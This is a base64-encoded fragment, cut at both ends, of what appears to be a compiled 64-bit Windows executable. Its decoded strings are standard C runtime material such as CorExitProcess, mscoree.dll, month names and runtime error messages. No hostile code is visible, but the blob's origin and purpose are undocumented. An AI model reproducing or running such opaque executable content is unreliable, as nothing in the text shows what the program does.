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//0iLiwABAADoqMj//0iLiwgBAADonMj//0iLixABAADokMj//0iLixgBAADohMj//0iLiyABAADoeMj//0iLiygBAADobMj//0iLizABAADoYMj//0iLizgBAADoVMj//0iLi0ABAADoSMj//0iLi0gBAADoPMj//0iLi1ABAADoMMj//0iLi3ABAADoJMj//0iLi3gBAADoGMj//0iLi4ABAADoDMj//0iLi4gBAADoAMj//0iLi5ABAADo9Mf//0iLi5gBAADo6Mf//0iLi2gBAADo3Mf//0iLi6gBAADo0Mf//0iLi7ABAADoxMf//0iLi7gBAADouMf//0iLi8ABAADorMf//0iLi8gBAADooMf//0iLi9ABAADolMf//0iLi6ABAADoiMf//0iLi9gBAADofMf//0iLi+ABAADocMf//0iLi+gBAADoZMf//0iLi/ABAADoWMf//0iLi/gBAADoTMf//0iLiwACAADoQMf//0iLiwgCAADoNMf//0iLixACAADoKMf//0iLixgCAADoHMf//0iLiyACAADoEMf//0iLiygCAADoBMf//0iLizACAADo+Mb//0iLizgCAADo7Mb//0iLi0ACAADo4Mb//0iLi0gCAADo1Mb//0iLi1ACAADoyMb//0iLi1gCAADovMb//0iLi2ACAADosMb//0iLi2gCAADopMb//0iLi3ACAADomMb//0iLi3gCAADojMb//0iLi4ACAADogMb//0iLi4gCAADodMb//0iLi5ACAADoaMb//0iLi5gCAADoXMb//0iLi6ACAADoUMb//0iLi6gCAADoRMb//0iLi7ACAADoOMb//0iLi7gCAADoLMb//0iDxCBbw8zMSIXJdGZTSIPsIEiL2UiLCUg7DXVoAAB0BegGxv//SItLCEg7DWtoAAB0Bej0xf//SItLEEg7DWFoAAB0Bejixf//SItLWEg7DZdoAAB0BejQxf//SItLYEg7DY1oAAB0Bei+xf//SIPEIFvDSIXJD4QAAQAAU0iD7CBIi9lIi0kYSDsNHGgAAHQF6JXF//9Ii0sgSDsNEmgAAHQF6IPF//9Ii0soSDsNCGgAAHQF6HHF//9Ii0swSDsN/mcAAHQF6F/F//9Ii0s4SDsN9GcAAHQF6E3F//9Ii0tASDsN6mcAAHQF6DvF//9Ii0tISDsN4Gc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yAE1hcgBGZWIASmFuAFNhdHVyZGF5AAAAAEZyaWRheQAAAAAAAFRodXJzZGF5AAAAAAAAAABXZWRuZXNkYXkAAAAAAAAAVHVlc2RheQBNb25kYXkAAFN1bmRheQAAU2F0AEZyaQBUaHUAV2VkAFR1ZQBNb24AU3VuAAAAAAByAHUAbgB0AGkAbQBlACAAZQByAHIAbwByACAAAAAAAA0ACgAAAAAAVABMAE8AUwBTACAAZQByAHIAbwByAA0ACgAAAAAAAABTAEkATgBHACAAZQByAHIAbwByAA0ACgAAAAAAAAAAAEQATwBNAEEASQBOACAAZQByAHIAbwByAA0ACgAAAAAAAAAAAAAAAABSADYAMAAzADMADQAKAC0AIABBAHQAdABlAG0AcAB0ACAAdABvACAAdQBzAGUAIABNAFMASQBMACAAYwBvAGQAZQAgAGYAcgBvAG0AIAB0AGgAaQBzACAAYQBzAHMAZQBtAGIAbAB5ACAAZAB1AHIAaQBuAGcAIABuAGEAdABpAHYAZQAgAGMAbwBkAGUAIABpAG4AaQB0AGkAYQBsAGkAegBhAHQAaQBvAG4ACgBUAGgAaQBzACAAaQBuAGQAaQBjAGEAdABlAHMAIABhACAAYgB1AGcAIABpAG4AIAB5AG8AdQByACAAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC4AIABJAHQAIABpAHMAIABtAG8AcwB0ACAAbABpAGsAZQBsAHkAIAB0AGgAZQAgAHIAZQBzAHUAbAB0ACAAbwBmACAAYwBhAGwAbABpAG4AZwAgAGEAbgAgAE0AUwBJAEwALQBjAG8AbQBwAGkAbABlAGQAIAAoAC8AYwBsAHIAKQAgAGYAdQBuAGMAdABpAG8AbgAgAGYAcgBvAG0AIABhACAAbgBhAHQAaQB2AGUAIABjAG8AbgBzAHQAcgB1AGMAdABvAHIAIABvAHIAIABmAHIAbwBtACAARABsAGwATQBhAGkAbgAuAA0ACgAAAAAAUgA2ADAAMwAyAA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAbABvAGMAYQBsAGUAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4ADQAKAAAAAAAAAAAAAAAAAFIANgAwADMAMQANAAoALQAgAEEAdAB0AGUAbQBwAHQAIAB0AG8AIABpAG4AaQB0AGkAYQBsAGkAegBlACAAdABoAGUAIABDAFIAVAAgAG0AbwByAGUAIAB0AGgAYQBuACAAbwBuAGMAZQAuAAoAVABoAGkAcwAgAGkAbgBkAGkAYwBhAHQAZQBzACAAYQAgAGIAdQBnACAAaQBuACAAeQBvAHUAcgAgAGEAcABwAGwAaQBjAGEAdABpAG8AbgAuAA0ACgAAAAAAUgA2ADAAMwAwAA0ACgAtACAAQwBSAFQAIABuAG8AdAAgAGkAbgBpAHQAaQBhAGwAaQB6AGUAZAANAAoAAAAAAAAAAAAAAAAAUgA2ADAAMgA4AA0ACgAtACAAdQBuAGEAYgBsAGUAIAB0AG8AIABpAG4AaQB0AGkAYQBsAGkAegBlACAAaABlAGEAcAANAAoAAAAAAAAAAABSADYAMAAyADcADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABsAG8AdwBpAG8AIABpAG4AaQB0AGkAYQBsAGkAegBhAHQAaQBvAG4ADQAKAAAAAAAAAAAAUgA2ADAAMgA2AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAcwB0AGQAaQBvACAAaQBuAGkAdABpAGEAbABpAHoAYQB0AGkAbwBuAA0ACgAAAAAAAAAAAFIANgAwADIANQANAAoALQAgAHAAdQByAGUAIAB2AGkAcgB0AHUAYQBsACAAZgB1AG4AYwB0AGkAbwBuACAAYwBhAGwAbAANAAoAAAAAAAAAUgA2ADAAMgA0AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAXwBvAG4AZQB4AGkAdAAvAGEAdABlAHgAaQB0ACAAdABhAGIAbABlAA0ACgAAAAAAAAAAAFIANgAwADEAOQANAAoALQAgAHUAbgBhAGIAbABlACAAdABvACAAbwBwAGUAbgAgAGMAbwBuAHMAbwBsAGUAIABkAGUAdgBpAGMAZQANAAoAAAAAAAAAAAAAAAAAAAAAAFIANgAwADEAOAANAAoALQAgAHUAbgBlAHgAcABlAGMAdABlAGQAIABoAGUAYQBwACAAZQByAHIAbwByAA0ACgAAAAAAAAAAAAAAAAAAAAAAUgA2ADAAMQA3AA0ACgAtACAAdQBuAGUAeABwAGUAYwB0AGUAZAAgAG0AdQBsAHQAaQB0AGgAcgBlAGEAZAAgAGwAbwBjAGsAIABlAHIAcgBvAHIADQAKAAAAAAAAAAAAUgA2ADAAMQA2AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAdABoAHIAZQBhAGQAIABkAGEAdABhAA0ACgAAAAAAAAAAAAAAUgA2ADAAMQA